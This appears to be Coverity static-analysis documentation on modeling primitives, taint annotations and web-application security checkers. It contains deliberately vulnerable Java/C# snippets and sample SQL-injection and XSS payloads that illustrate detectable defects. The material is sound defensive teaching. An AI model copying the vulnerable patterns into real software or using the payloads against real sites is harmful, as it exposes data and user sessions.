Marks its parameter as flowing into a method that consumes it as a security token. The HARDCODED_CREDENTIALS checker reports a defect if a source-code-embedded constant string is passed to it.
Parameters:
o - The object that contains the credentials.
Returns a map whose values the analysis treats as tainted data from HTTP headers. Use this primitive to model a method that returns a map constructed with tainted values from HTTP headers.
Marks all the values of its 'map' parameter as containing tainted data from HTTP headers. Use this primitive to model a method that populates the values of a dictionary with tainted data from HTTP headers.
Parameters:
map - The dictionary whose values are to be tainted.
Returns an object of arbitrary type that the analysis treats as tainted data from a HTTP header. Use this primitive to model a method that returns tainted data from a HTTP Header
Marks its parameter as containing tainted data from a a HTTP header. Use this primitive to model a method that appends tainted data from a HTTP Header into one of its parameters.
Parameters:
o - The parameter to be tainted.
Returns a map whose values the analysis treats as tainted data from an HTTP request. Use this primitive to model a method that returns a map constructed with tainted values from an HTTP request.
Marks all the values of its 'map' parameter as containing tainted data from an HTTP request. Use this primitive to model a method that populates the values of a dictionary with tainted data from an HTTP request.
Parameters:
map - The dictionary whose values are to be tainted.
Marks a method parameter as being used as an HTTP address to redirect to. The OPEN_REDIRECT checker reports a defect if an unsafe user-controllable string is passed to this method.
Returns an object of arbitrary type that the analysis treats as tainted data from an HTTP request. Use this primitive to model a method that returns tainted data from an HTTP request.
Marks its parameter as containing tainted data from an HTTP request. Use this primitive to model a method that appends tainted HTTP request data into one of its parameters.
Parameters:
o - The parameter to be tainted.
Returns an object of arbitrary type that the analysis treats as an insecure random value. Use this primitive to model a method that returns an insecure random value.
Marks its parameter as containing an insecure random value. Use this primitive to model a method that appends an insecure random value into one of its parameters.
Parameters:
o - The parameter that will contain the insecure random value.
Returns an object of arbitrary type that the analysis treats as tainted data from the network. Use this primitive to model a method that returns tainted data from the network.
Marks its parameter as containing tainted data from the network. Use this primitive to model a method that appends tainted network data into one of its parameters.
Parameters:
o - The parameter to be tainted.
Returns an object of arbitrary type that the analysis treats as tainted data from a Remote Procedure Call. Use this primitive to model a method that returns tainted data from a Remote Procedure call.
Marks its parameter as containing tainted data from a a Remote Procedure Call. Use this primitive to model a method that appends tainted data from a Remote Procedure call into one of its parameters.
Parameters:
o - The parameter to be tainted.
Indicates that this method stores sensitive data in a cookie and should be sanitized somehow. If it is not, the SENSITIVE_DATA_LEAK checker may report a defect.
Parameters:
o - The object that is stored in the cookie.
Indicates that this method stores sensitive data in a database and should be sanitized somehow. If it is not, the SENSITIVE_DATA_LEAK checker may report a defect.
Parameters:
o - The object that is written to the database.
Indicates that this method stores sensitive data in a filesystem and should be sanitized somehow. If it is not, the SENSITIVE_DATA_LEAK checker may report a defect.
Parameters:
o - The object that is written to the file system.
Indicates that this method stores sensitive data in a log and should be sanitized somehow. If it is not, the SENSITIVE_DATA_LEAK checker may report a defect.
Parameters:
o - The object that is stored in the log.
Indicates that this method stores sensitive data in registry and should be sanitized somehow. If it is not, the SENSITIVE_DATA_LEAK checker may report a defect.
Parameters:
o - The object that is stored in registry.
Indicates that this method sends sensitive data somewhere else and should be sanitized/secured somehow. If it is not, the SENSITIVE_DATA_LEAK checker may report a defect.
Parameters:
o - The object that is transmitted.
Indicates that this method reflects sensitive data back to the user and should be sanitized somehow. If it is not, the SENSITIVE_DATA_LEAK checker may report a defect.
Parameters:
o - The object that is displayed.
Indicates that a method parameter is a secure random number generator seed. The PREDICTABLE_RANDOM_SEED checker reports defects when a predictable seed is passed to this method.
Returns an object of arbitrary type that the analysis treats as sensitive data. Use this primitive to model a method that returns sensitive data.
Parameters:
type - The specific kind of sensitive data.
Marks its parameter as containing sensitive data. Use this primitive to model a method that puts sensitive data into one of its parameters.
Parameters:
o - The object that now contains the sensitive data.
type - The specific kind of sensitive data.
Marks its parameter as flowing into a method that runs it like an SQL, HQL, or JPQL query. The SQLI checker reports a defect when tainted data flows into this primitive. Use this primitive to model sinks for SQLI.
Parameters:
o - The object that contains the query.
Returns an object of arbitrary type that the analysis treats as tainted data from the system properties. Use this primitive to model a method that returns tainted data from the system properties.
Marks its parameter as containing tainted data from the system properties. Use this primitive to model a method that appends tainted data from the system properties into one of its parameters.
Parameters:
o - The parameter to be tainted.
Marks its parameter as flowing into a method that consumes it as a cryptographic key. The UNENCRYPTED_SENSITIVE_DATA checker may report a defect if unencrypted (tainted) data flows into this primitive.
Marks its parameter as flowing into a method that consumes it as a password. The UNENCRYPTED_SENSITIVE_DATA checker may report a defect if unencrypted (tainted) data flows into this primitive.
Marks its parameter as flowing into a method that consumes it as a security token. The UNENCRYPTED_SENSITIVE_DATA checker may report a defect if unencrypted (tainted) data flows into this primitive.
Returns an object of arbitrary type that the analysis treats as an unencrypted (non SSL) socket. Use this primitive to model a method that returns an unencrypted socket.
Marks its parameter as being an unencrypted (non SSL) socket.
Parameters:
o - The parameter that is known to be an unencrypted socket.
Returns an object of arbitrary type that the analysis treats as an unencrypted URL connection. Use this primitive to model a method that returns an unencrypted URL connection.
Marks its parameter as being an unencrypted URL connection.
Parameters:
o - The parameter that is known to be an unencrypted URL connection.
Any method calling this primitive is assumed to have no useful side effects outside of its return value.
Any method calling this primitive is assumed to have no useful side effects outside of modifying its receiver ('this') and possibly returning a value. The analysis currently interprets this exactly as 'SideEffects', but that is likely to change in the future to help in finding more USELESS_CALL defects.
Any method calling this primitive is assumed to have potential side effects outside of its return value. Instead calling 'SideEffectOnlyThis' is preferred when it applies. Calling this primitive is not strictly necessary, as any method definition given to cov-make-library is presumed to have side effects in the absence of one of these primitives. However, calling one such primitive in each custom model for non-void methods is recommended, even if it is 'SideEffects', to indicate that the most appropriate one was selected.
Represents some nondeterministic condition impacting the behavior of the method, the precise characteristics of which are unimportant to analysis, expressed as a Boolean. The analysis treats the value returned as it would the return value from an unknown, unimplemented, or native method.
Calling Nondet() is considered evidence that both true and false are possible each time it is called, and generally you would want to use this. Under rare circumstances, you may want an unknown Boolean (that is, no specific evidence that both true and false are possible.) In this case, cast the result of Util.Unknown() to bool and use that. Doing so causes subtly different behavior in analysis, and in most cases is not necessary.
See also:
Util.Unknown()
Represents some unknown object, handled by the modeled method, the exact characteristics of which are unimportant to the modeled behavior. You may cast, dereference, or make assertions on the returned object as necessary.
Unknown(), like an externally implemented function, returns a value that may or may not be correlated with other state in the program, so a call to Unknown() by itself is not considered evidence that any particular return values are possible. Casting, dereferencing, or making assertions about the result of Unknown() is useful for guiding analysis, because in the absence of evidence that they can fail, the analysis will assume the only interesting behaviors of the program are when they succeed. For example, having the model compare the result of Unknown() to null hints at that possibility, which is reflected in analysis.
See also:
Util.Nondet()
Adding annotations to source files that are analyzed by Coverity Analysis allows you to obtain more accurate results. Instead of letting the checker infer information, you can explicitly tag program data as having certain properties or behavior. The analysis reads these annotations as it runs. Coverity Analysis annotations use the syntax of the standard attributes for C# or Visual Basic.
To add annotations:
Import the relevant attribute classes.
The Coverity attributes are part of the Coverity.Attributes
namespace, and a DLL file that contains the attribute classes (as well as
other modeling primitives) is located in Coverity Analysis installation directory at
<install_dir>/library/primitives.dll.
Mark methods and/or classes with the relevant attributes.
Checkers that support attributes
SENSITIVE_DATA_LEAK - SensitiveData
WEAK_PASSWORD_HASH - SensitiveData
TAINT_ASSERT - NotTainted
Tainted dataflow checkers - Tainted,
NotTainted
Run the analysis on the annotated code.
Marking a field as Tainted indicates that the
security checkers should treat that field as coming from an
untrusted source (that is, as tainted). In particular, the security
checkers (for example, XSS, SQLI, and OS_CMD_INJECTION) report a
defect when a field that is annotated as Tainted
flows to HTML output, an SQL interpreter, or to another such
sink.
Example 6.5. C#:
using Coverity.Attributes;
using System.Web;
using System.Web.Mvc;
class HasTaintedField {
// Here is a class member annotated as being tainted.
[Tainted] string Untrusted;
}
// An MVC controller
class MyController : Controller {
private HasTaintedField SomeData;
// A controller request handler
public ActionResult GetSomeHtml()
{
// The annotated member is used in an unsafe way.
// A cross-site scripting defect is reported.
return Content("<html>"+SomeData.Untrusted+"</html>"); // XSS Defect
}
}Example 6.6. Visual Basic:
Imports Coverity.Attributes
Imports System
Imports System.Web
Imports System.Web.Mvc
Class HasTaintedField
' Here is a class member annotated as being tainted.
<Tainted()> Untrusted as String
End Class
' An MVC controller
Class MyController
Inherits Controller
Private SomeData As HasTaintedField
' A controller request handler
Public Function GetSomeHtml() As ActionResult
' The annotated member is used in an unsafe way.
' A cross-site scripting defect is reported.
Return Content("<html>" & SomeData.Untrusted & "</html>") 'XSS Defect
End Function
End ClassMarking a field as NotTainted has two
consequences:
The analysis treats uses of that data as untainted, so it does not report defects when the data flows into HTML output, an SQL interpreter, or other such sink.
The analysis reports a TAINT_ASSERT defect if the tool identifies any tainted data flowing into that location.
For more information on how the analysis uses the NotTainted
annotation, see Section 4.207, “TAINT_ASSERT”.
You can use the SensitiveData attribute to model
sources of sensitive data. In the following example, if the return
value of GetMyLocation or the argument passed to
RetrieveAccountNumbers passes to a sink that
exposes information, the SENSITIVE_DATA_LEAK checker will report a
defect.
Example 6.7. C#:
using Coverity.Attributes;
using Coverity.Primitives;
class SensitiveDataExample {
[SensitiveData(SensitiveDataType.Geographical)]
string GetMyLocation() {
return "This is considered sensitive geographical data.";
}
void RetrieveAccountNumbers(
[SensitiveData(SensitiveDataType.Account)] string[] accts)
{
// The parameter arg1 will be treated as sensitive account
// data inside of this method and in the caller after passing
/ it through this method.
}
}Example 6.8. Visual Basic:
Imports Coverity.Attributes
Imports Coverity.Primitives
Imports System
Class SensitiveDataExample
<SensitiveData(SensitiveDataType.Geographical)>
Function GetMyLocation() As String
Return "This is considered sensitive geographical data."
End Function
Sub RetrieveAccountNumbers(
<SensitiveData(SensitiveDataType.Account)> accts() as String)
' The parameter arg1 will be treated as sensitive account
' data inside of this method and in the caller after passing
' it through this method.
End Sub
End ClassMultiple sensitive data types can be specified using an array
argument to the attribute. In the following example, the field
LoginInfo will be considered both user identifier
and password data.
Example 6.9. C#:
class LoginService {
[SensitiveData(new[]{SensitiveDataType.UserId,SensitiveDataType.Password})]
List<string> LoginInfo;
}Example 6.10. Visual Basic:
Class LoginService
<SensitiveData({SensitiveDataType.UserId,SensitiveDataType.Password})>
Dim LoginInfo As List(Of String)
End ClassSee Table 4.1, “Sensitive Data Source types” for a complete list of sensitive data types that you can use.
Adding models of methods to Coverity Analysis allows you to find more defects and help eliminate false positives. For example, if a new resource allocation interface is used by your application from a third-party API and is modeled in the system, Coverity Analysis can detect and report defects in the uses of that allocator.
You can model any Java method, including abstract methods defined in interfaces and abstract classes. However, there are some special requirements for the creation of Java interface methods (Section 6.3.1.1, “Modeling a Java interface method”).
Sometimes the Coverity Analysis models diverge from the actual behavior of the function because of the modeled method's complexity. Although analysis framework improvements continue to decrease the need for overriding the automatically computed models, there is a limit to the precision of compile-time analysis. Thus, for some cases you can improve the analysis accuracy by codifying the behavior of a given method.
To add new models, perform the following steps:
Import the relevant primitives.
The Coverity primitives are part of the com.coverity.primitives
package.
Coverity Analysis provides a JAR file that contains the primitives in
.<install_dir>/library/primitives.jar
Coverity Analysis provides Javadoc documentation at <install_dir>/doc/<en|ja>/primitives/index.html for a description of these
primitives.
Add stub methods that represent the behavior of the functions that you want to add.
Compile the class and register the model. Use the
cov-make-library command for this
purpose.
Note that this command provides options for selectively generating models based on certain checkers and checker groups that use them. For example, compare the options used in Section 6.3.1.2, “Modeling resource leaks” with those in Section 6.3.1.3, “Modeling Sources of Untrusted (Tainted) Data”. For additional options, see the Coverity 2018.09 Command Reference.
Run the analysis with the new model.
When you create a model for an interface method, you need to declare the interface as
if it were a class because interface methods cannot have implementations. For example,
Coverity provides the following built-in model of the
Comparable<T> interface:
public class Comparable<T> {
public int compareTo(T o) {
return unknownNonnegativeInt();
}
}The following example shows how to add models for detecting resource leaks to a class
called MyResource.
Import the Resource_LeakPrimitives class in your
user model source file, and create the user models for the resources that
need to be tracked during the analysis. For example:
import com.coverity.primitives.Resource_LeakPrimitives;
public class MyResource {
public MyResource() {
com.coverity.primitives.Resource_LeakPrimitives.open(this);
}
public void close() {
com.coverity.primitives.Resource_LeakPrimitives.close(this);
}
}Create a user model file (for quality checkers only):
> cov-make-library --output-file user_models.xmldb --disable-default --quality MyResource.java
Note that the combination of --disable-default and
--quality limits the generation of models to those used
by quality checkers.
The user_models.xmldb file is now ready to be used
for analyzing other packages for MyResource
leaks.
Use the new model during analysis:
> cov-analyze --dir <intermediate_directory> --user-model-file user_models.xmldbFor additional examples, see USE_AFTER_FREE models and RESOURCE_LEAK models.
If the analysis fails to report security defects (SQLI, XSS, OS_CMD_INJECTION), there are several possible causes and workarounds.
False negatives can occur when the analysis does not recognize a source of tainted
data. If a method in your program returns tainted data, but the analysis does not
discover that issue, you need to write a model for that method. Similarly, if a method
takes a StringBuffer (or similar object) and appends tainted data into it,
you can model that behavior, as well. For example, the following model informs the
analysis that the MyClass.returnsTainted method returns tainted
data and that the MyClass.appendsTainted method taints its argument
(presumably by inserting a tainted string into it).
public class MyClass {
// The return value of returnsTainted() is tainted.
String returnsTainted() {
return com.coverity.primitives.SecurityPrimitives.asserted_source();
}
// A call to appendsTainted taints its argument.
void appendsTainted(StringBuffer sb) {
com.coverity.primitives.SecurityPrimitives.asserted_source(sb);
}
}For descriptions of this and other, similar modeling primitives, go to the Coverity Analysis
installation directory and find the Javadocs for
com.coverity.primitives.SecurityPrimitives in the following file:
.
See also the discussion of the <install_dir>/doc/<en|ja>/primitives/com/coverity/primitives/SecurityPrimitives.html@Tainted annotation in Section 6.3.2, “Adding Java Annotations to Increase Accuracy”, and see Section 6.3.1.5, “Adding Assertions that Fields Are Tainted or Not Tainted ”.
To generate models for Web application security checkers only, see Section 6.3.1.7, “Generating Java Web application security models”.
False negatives can occur when the analysis does not recognize sinks, which are method
parameters to which tainted data must not flow (due to the risk of an attacker
subverting the database, controlling a new operating system process, or otherwise
compromising your application). If the SQLI checker does not recognize a method
parameter in your program as one that is executed as a SQL, HQL, or JPQL query, you can
model it as such, and you can create similar models for OS_CMD_INJECTION. For example,
the following models make the SQLI checker report a defect if tainted data flows into
the query parameter of the MyClass.executeSql method,
and it makes the OS_CMD_INJECTION checker report a defect if tainted data flows into the
commandLine parameter of the MyClass.execute
method.
public class MyClass {
void executeSql(String query, boolean somethingElse, String unrelated) {
com.coverity.primitives.SecurityPrimitives.sql_sink(query);
}
void execute(String commandLine) {
com.coverity.primitives.SecurityPrimitives.os_cmd_one_string_sink(commandLine);
}
}To generate the model file:
> cov-make-library --output-file user_models.xmldb --disable-default --webapp-security MyClass.java
For descriptions of this and other, similar modeling primitives, go to the Coverity Analysis
installation directory and find the Javadocs for
com.coverity.primitives.SecurityPrimitives in the following file:
.
See also the discussion of the <install_dir>/doc/<en|ja>/primitives/com/coverity/primitives/SecurityPrimitives.html@NotTainted annotation for the TAINT_ASSERT checker, and see Section 6.3.1.5, “Adding Assertions that Fields Are Tainted or Not Tainted ”.
In some cases, you might want to override the Coverity Analysis-computed taint value for specific class fields. It can be asserted that uses of the field should always be considered tainted, in which case additional security defects will be reported if the values are used unsafely; it can also be asserted that the field should never be considered tainted, in which case security defects that arise from an unsafe use of its value will be suppressed.
There are two mechanisms to assert the taintedness and non-taintedness of fields:
command line options
annotations
The command line options, which allow regular expression matching on fully qualified
field names, are described in the cov-analyze entry in the
Coverity 2018.09 Command Reference.
Alternatively, the following two annotations can be added at
a field definition inside the analyzed code:
com.coverity.annotations.Tainted;
com.coverity.annotations.NotTainted;
These taint annotations are only meaningful when they are applied to a field that is a
String (or other CharSequence-implementing class),
a Java collection of String (or other
CharSequence-implementing class) types, or an array of
byte or char primitives. The following example
demonstrates several valid applications:
import com.coverity.annotations.*;
class UserData {
@NotTainted String name;
@Tainted StringBuffer selfDescription;
@Tainted Map<int, String> favoriteColorByAge;
String userid;
}The annotations are not valid or meaningful on fields of other types. In particular,
they can not be used to transitively taint the all of the string-like data within an
object. The annotations must be directly applied to each of the string-value field
definitions that it contains. The following example shows how to assert that all of
FormData is tainted within a
WebTransaction object:
import com.coverity.annotations.*;
class WebTransaction {
int id;
FormData form; // it is NOT valid to annotate this field
}
class FormData {
@Tainted String item;
@Tainted String quantity;
@Tainted String description;
} Consider the following example, in which the --tainted-field
com.coverity.examples.Table.* command line option is passed to assert that
the fields com.coverity.examples.Table.title and
com.coverity.examples.Table.values are tainted. This will result in a
SQLI defect being reported in the doSqlQuery method, regardless of and in
addition to any other attacker-controllable strings being assigned to the object's title
field.
package com.coverity.examples.*;
class Table {
String title;
Map<int, String> values;
int id;
void doSqlQuery(Statement stmt, String where_clause) {
stmt.executeQuery(“SELECT * FROM + this.title + “ where “ + where_clause);
}
}The example above is equivalent to the following use of the
@Tainted annotation:
package com.coverity.examples.*;
import com.coverity.annotations.Tainted;
class Table {
@Tainted String title;
@Tainted Map<int, String> values;
int id;
void doSqlQuery(Statement stmt, String where_clause) {
stmt.executeQuery(“SELECT * FROM + this.title + “ where “ + where_clause);
}
}The following example illustrates a use of the @NotTainted
annotation. If the annotation was not present, a cross-site scripting (XSS) defect would
be reported inside the MyServlet.printPage method. However, because
the color field is asserted to be always safe (not tainted), the XSS defect
will be suppressed.
import com.coverity.annotations.NotTainted;
class MyServlet extends HttpServlet {
@NotTainted String color;
private void printPage(PrintWriter out) {
out.println("<HTML><BODY>");
out.println(this.color);
out.println("</BODY></HTML>");
}
public void doPost(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, java.io.IOException {
color = req.getParameter("color");
printPage(resp.getWriter());
}If the TAINT_ASSERT checker is enabled, it will report an issue at the annotation on
the MyServlet.color field. For further information about how it can
be used to verify the validity of assertions about non-taintedness, see Section 4.207, “TAINT_ASSERT”.
An empty model will override the behaviors derived by the analysis. For example, if the analysis has derived an incorrect behavior that results in false positives in callers, writing a user model without that behavior will eliminate them. You might use such a model to suppress false positives when using the CSRF checker, for example:
package com.example;
class MyDAO {
void permissibleUnprotectedDatabaseUpdate(String value) {
/* Empty model suppresses derived CSRF protection obligation:
* SecurityPrimitives.csrf_check_needed_for_db_update();
*/
}
}To generate models for Web application security checkers only, see Section 6.3.1.7, “Generating Java Web application security models”.
To generate models for Web application security checkers only, and avoid the case
where the model overrides inferences that other checkers make about the method it
models, use the --disable-default and
--webapp-security options with cov-make-library,
for example:
> cov-make-library --output-file user_models.xmldb --disable-default --webapp-security MyClass.java
Adding annotations to source files that are analyzed by Coverity Analysis allows you to obtain more accurate results from certain checkers. Instead of letting the checker infer information, you can explicitly tag classes and methods with the appropriate behavior. The analysis reads these annotations as it runs. Coverity Analysis annotations use the syntax of the standard Java annotations.
To add annotations:
Import the relevant annotations.
The Coverity annotations are part of the
com.coverity.annotations package, and a JAR file that
contains the primitives is located in Coverity Analysis installation directory at
. <install_dir>/library/annotations.jar
![]() | Important! |
|---|---|
If you intend to distribute |
See the Javadoc documentation at <install_dir>/doc/<en|ja>/annotations/index.html for descriptions of these
annotations.
Mark methods and/or classes with the relevant annotations.
Checkers that support annotations:
CALL_SUPER - @OverridersMustCall, @OverridersNeedNotCall
CHECKED_RETURN - @CheckReturnValue
GUARDED_BY_VIOLATION - @GuardedBy
MISSING_BREAK - @SuppressWarnings
NULL_RETURNS - @CheckForNull
OS_CMD_INJECTION - @Tainted, @NotTainted
PATH_MANIPULATION - @Tainted, @NotTainted
SENSITIVE_DATA_LEAK - @SensitiveData
SQLI - @Tainted, @NotTainted
TAINT_ASSERT - @NotTainted
WEAK_PASSWORD_HASH - @SensitiveData
XSS - @Tainted, @NotTainted
Run the analysis on the annotated code.
@Tainted and @NotTainted Annotations
@TaintedMarking a field as @Tainted indicates that the security
checkers should treat that field as coming from an untrusted source (that is, as
tainted). In particular, the security checkers (for example, XSS, SQLI, and
OS_CMD_INJECTION) report a defect when a field that is annotated as
@Tainted flows to servlet output, an SQL interpreter, or to
another such sink.
import com.coverity.annotations.*;
import java.sql.*;
class HasTaintedField {
@Tainted String untrusted;
}
class MyController {
void doQuery(HasTaintedField x, Statement stmt) {
stmt.execute("SELECT * FROM user WHERE name='" + x.untrusted + "'");
}
}@NotTaintedMarking a field as @NotTainted has two consequences:
The analysis treats uses of that data as untainted, so it does not report defects when the data flows into servlet output, an SQL interpreter, or other such sink.
The analysis reports a TAINT_ASSERT defect if tainted data actually flows into that location.
For more information on how the analysis uses the
@NotTainted annotation, see the TAINT_ASSERT
checker documentation.
@SensitiveDataYou can use the @SensitiveData annotation to model sources of
sensitive data. In the following example, if the return value of
returnsPassword or the argument passed to
storesPasswordInParam passes to a sink, the checker will report
a defect of type
Cleartext sensitive data in <sink>.
@SensitiveData({SensitiveDataType.SDT_PASSWORD})
Object returnsPassword() {
// This function returns password data.
}
void storesPasswordInParam(
@SensitiveData({SensitiveDataType.SDT_PASSWORD})Object arg1) {
// The parameter arg1 will be treated as password data.
}
// The field pw will be treated as password data.
@SensitiveData({SensitiveDataType.SDT_PASSWORD}) String pw;As with Coverity primitives, you can use Coverity annotations to specify multiple
sensitive data types. To do so, you simply provide a comma-separated list of
SensitiveDataType enumerations within the curly brackets for
the @SensitiveData annotation. See Table 4.1, “Sensitive Data Source types” for a complete list of sensitive data types that you can use.
Swift models used in Coverity Analysis allow you to find more defects and help to eliminate any false positives in your Swift source code. Like Java models, the Swift models can help Coverity Analysis to detect and report defects when using any new resource allocators. (See Section 6.3.1, “Adding Java Models” for more information).
To add new models, perform the following steps:
Add stub methods that represent the behavior of the methods that you want to add.
For the model to be applied correctly, the following entries must all match: the namespace name, class name, number and names of type parameters, method name, method parameter types, and return type.
Use the cov-make-library command to compile the class and
register the model.
Use the cov-analyze command to run the analysis on the new
model. For example:
cov-analyze --dir <intermediate_directory> --user-model-file ../user_models.xmldb
The cov-analyze command searches models in the following order:
User model files, from arguments to --user-model-file (deprecated
in version 7.7.0) or --model-file, in order of appearance
on the command line.
user_models.xmldb in the config
directory, if it exists.
Coverity built-in models.
Derived models from the current analysis.
C/C++ (cov-analyze) only: Previously derived models, from
--derived-model-file (deprecated in version 7.7.0) or
--model-file, in order of appearance on the command
line.
Note that --model-file can be used to specify either user or derived
model files; it will automatically detect whether the files represent user models (from
cov-make-library) or previously derived models (from
cov-collect-models).
Coverity can analyze your Web applications to find many types of security issues. The analysis detects when unsafe data enters your Web application from the HTTP requests, network transactions, untrusted databases, console input, or the file system. It tracks this unsafe data, and if it is used incorrectly within a context, Coverity reports this usage as an issue within Coverity Connect. Coverity provides you with actionable remediation advice for the technologies in use.
Coverity analyzes Java Web applications. It understands many common frameworks such as Java Servlets, JavaServer Pages, and Spring MVC. Coverity can detect the use of SQL or other query languages, with an emphasis on common Java technologies such as JDBC, Hibernate, and JPA. A collection of configuration checkers also detects common vulnerabilities in the setup of the Web application or its environment.
Coverity analyzes ASP.NET pages and applications. It has support for both ASP.NET Web
Forms and MVC applications, including ASP.NET pages (*.aspx),
controls (*.ascx), and Razor view templates
(*.cshtml files). Coverity also understands certain third-party
frameworks, such as Dapper and nHibernate.
This section describes the types of Web application security issues that Coverity can find in your source code.
SQL injection (SQLi) is an issue that allows a user to change the intent of a SQL statement. This security defect occurs when tainted user data (which is unsafe data) is inserted or concatenated within a SQL statement that has a set of safety requirements or obligations. If these obligations are not met by making the data safe (that is, by sanitizing the data), the tainted characters change the statement to something unintended by the original programmers.
SQLi can impact the confidentiality, integrity, and availability of a database
system if a user can change the intent of a SQL statement. By appending
additional UNION or similar constructs, a user can reveal
information that might have been previously filtered or restricted. Depending
upon the statement, a user might be able to insert or update data within a
query, thereby impacting its integrity. In some cases, a user might be able to
drop entire tables within a database, severely impacting availability throughout
the whole system. Numerous, high-profile attacks on organizations have occurred
as a result of SQLi issues.
In the following SQLi example, a Java Servlet passes tainted data, which is concatenated to a Hibernate Query Language (HQL) statement. Note that the example shows only the portion of code that pertains to this issue and provides links to more information about the progression of the issue. The color coding in the example corresponds to the color coding that Coverity Connect provides in its issue reports and remediation advice.
13 public class IndexController extends HttpServlet {
14
15 private BlogEntryRetriever blogEntryRetriever;
16 private BlogEntryInsert blogEntryInsert;
17
18 protected void doGet(HttpServletRequest request,
HttpServletResponse response)
19 throws ServletException, IOException {
20
21 String table_name = request.getParameter("table_name");
22 String entry_id = request.getParameter("id");
23
24 HashMap<String, Integer> map =
blogEntryRetriever.get(table_name, entry_id);
25
Reading data from a servlet request, which is considered tainted.
26 String user = request.getParameter("user");
27 String content = request.getParameter("content");
28 blogEntryInsert.insert(user, content);
29
Passing the tainted data, "user", to com.coverity.sample.logic.BlogEntryInsert.getContent(java.lang.String).
30 List entries_user = blogEntryInsert.getContent(user);BlogEntryInsert.java:
50Parameter "user" receives the tainted data. 51 public List getContent(String user) { 52 Session session = factory.openSession(); 53 Transaction tx = null; 54 List results = null; 55 try{ 56 tx = session.beginTransaction();Detected a likely SQL statement Insecure concatenation of a SQL statement. The value "user" is tainted. A tainted value is passed to a SQL API.Remediation for SQL injection in HQL: specific advice for SQL string - Add a named parameter to the SQL statement, for example ":someParam" - Bind the tainted value to the parameter using the setParameter method: Query.setParameter("someParam", user) [More Information] 57 Query query = session.createQuery("from blog_entry where user = '" + user + "'"); 58 results = query.list(); 59 60 tx.commit();
Progression of the security defect:
IndexController.java
(26): The parameter user is obtained from the HTTP
request. This value is tainted until it is sanitized
appropriately.
IndexController.java
(30): The value is passed into the
blogEntryInsert.getContent() method.
BlogEntryInsert.java
(57): Within the session.createQuery() method, the tainted
parameter is concatenated into a Hibernate HQL string (within the single
quotes).
If a single quote is included in the parameter, the HQL string is closed, and all subsequent text will then be interpreted as HQL code by the HQL compiler. So the intent of the statement can be changed. Instead of the statement selecting all blog entries provided by the user, the user is now able to add clauses, for example:
' or exists (from blog_entry) and user <> 'FAKE_USER
The example selects all blog entries except for the user
FAKE_USER. The following statement is passed to the HQL
compiler:
1 Query query = session.createQuery("from blog_entry where user = '
' or exists (from blog_entry) and user <> 'FAKE_USER'");
2When fixing a SQLi issue, you need to understand the current context, the safety obligations for that context, and what characters or sequences violate these obligations. A SQL statement is comprised of different contexts, each of which interprets values or expressions that they contain using different language rules.
Common SQL contexts that often receive user-supplied data:
SQL string, for example:
SELECT * FROM table WHERE user = 'TAINTED_DATA_HERE'SQL string within a LIKE clause, for example:
SELECT * FROM table WHERE user LIKE '%TAINTED_DATA_HERE'SQL identifier within an ORDER BY clause, for
example:
SELECT * FROM table ORDER BY table.username TAINTED_DATA_HERESQL expression within an IN clause, for example:
SELECT * FROM table WHERE user IN (TAINTED_DATA_HERE)For information on all SQL contexts, see Section 7.3, “SQLi Contexts”.
Once you understand the context in which user data is inserted, you can determine what remediation strategy is the most effective. For more information on different remediation strategies, see Section 7.1.5, “Remediation”.
Cross-site scripting (XSS) is an issue that occurs when tainted user data (which is unsafe) is inserted into HTML that has a set of safety requirements or obligations. The browser might interpret these characters differently if the obligations are not met by making the data safe (sanitizing the data).
For remediation information, see Section 7.6.2, “XSS remediation examples”.
If a user has authenticated to establish a session, an XSS issue can impact the confidentiality of the authenticated session, including whatever information and access the session confers. An attacker might hijack the session either directly (by disclosing and replaying the session token) or indirectly (by performing actions using the user's browser as a surrogate).
For example, assume that a banking site has an XSS issue in some component, and some user is currently logged into the site. An attacker targets this user and has the user interact with a malicious link that exploits the XSS issue, for example, through a phishing email or a link sent by instant messaging (IM). The attacker can now perform any banking transactions that the user can perform because the attacker can execute arbitrary JavaScript, in addition to whatever other functionality is normally exposed to the user.
The following XSS example uses an ASP.NET Razor View that displays unsafe data in a request parameter, which is later displayed within a nested context.
The color coding in the example corresponds to the color coding that Coverity Connect provides in its Potential Security Vulnerabilities (CID) reports and remediation advice.
1. tainted_source: Reading data from an HTTP request, which is considered tainted. @{ String needHelp = Request["needHelp"]; } 2. taint_path_call: Passing the tainted data through System.Web.Mvc.HtmlHelper.Raw(System.String). 3. xss_injection_site: Printing base.Html.Raw(needHelp) to an HTML page allows cross-site scripting, because it was not properly sanitized for the nested contexts JavaScript single quoted string and HTML double quoted attribute. Remediation for cross-site scripting in C#: Escaping needs to be done for all of the contexts in the following order, for example Escape.Html(Escape.JsString(taintedData)) where Escape.JsString is a function from Coverity that escapes tainted data (for JavaScript string), and Escape.Html escapes tainted data (for HTML attribute). "taintedData" represents the expression "base.Html.Raw(needHelp)". <span onmouseover="var x='@Html.Raw(needHelp)';">Hello</span>
For Visual Basic, the equivalent code in .vbhtml would be as follows:
@Code
Dim needHelp As String = Request("needHelp")
End Code
<span onmouseover="var x='@Html.Raw(needHelp)';">Hello</span>
![]() | |
For descriptions of the symbolic names for contexts and escapers that are
used in the example, see
Symbolic Names. |
Progression of the security defect:
Event 1: The parameter needHelp is obtained from the HTTP
request. This value is considered tainted until it is sanitized
appropriately.
Event 2: The Html.Raw method converts the value to an
IHtmlString, which will not be
escaped automatically by the Razor engine.
Event 3: The value is "inlined" into a single-quoted Javascript string
within the double-quoted onmouseover HTML tag
attribute.
If a user moves the mouse over the span tag, the browser will
execute the DOM onMouseOver() event handler, interpreting the
attribute value as JavaScript directly, with any HTML entities decoded before
use. Therefore, at least two contexts are possible in this case: The original
HTML double-quoted attribute context and the JavaScript context. Both contexts
are vulnerable to the XSS issue and need to be sanitized in proper order before
this defect is remedied.
The following example executes a simple JavaScript pop-up:
none')||alert('XSSThe Javascipt pop-up function would look as follows in a potential URL:
http://blog.example.com/example?needHelp=none')||alert('XSSInserted into the page, it would look like the following:
<span onmouseover="var x='none')||alert('XSS');">Hello</span>Again, the attacker only needs to cause users to interact with the malicious link.
The following example shows an XSS issue within a Java Servlet that writes
tainted data into the response stream directly, which is
later displayed within an HTML context.
The color coding in the example corresponds to the color coding that Coverity Connect provides in its Potential Security Vulnerabilities (CID) reports and remediation advice.
8 public class IndexServlet extends HttpServlet {
9
10 protected void doGet(HttpServletRequest request,
HttpServletResponse response)
11 throws ServletException, IOException {
12Reading data from a servlet request, which is considered tainted.
A user-controllable string.
13 String param = request.getParameter("index");
14
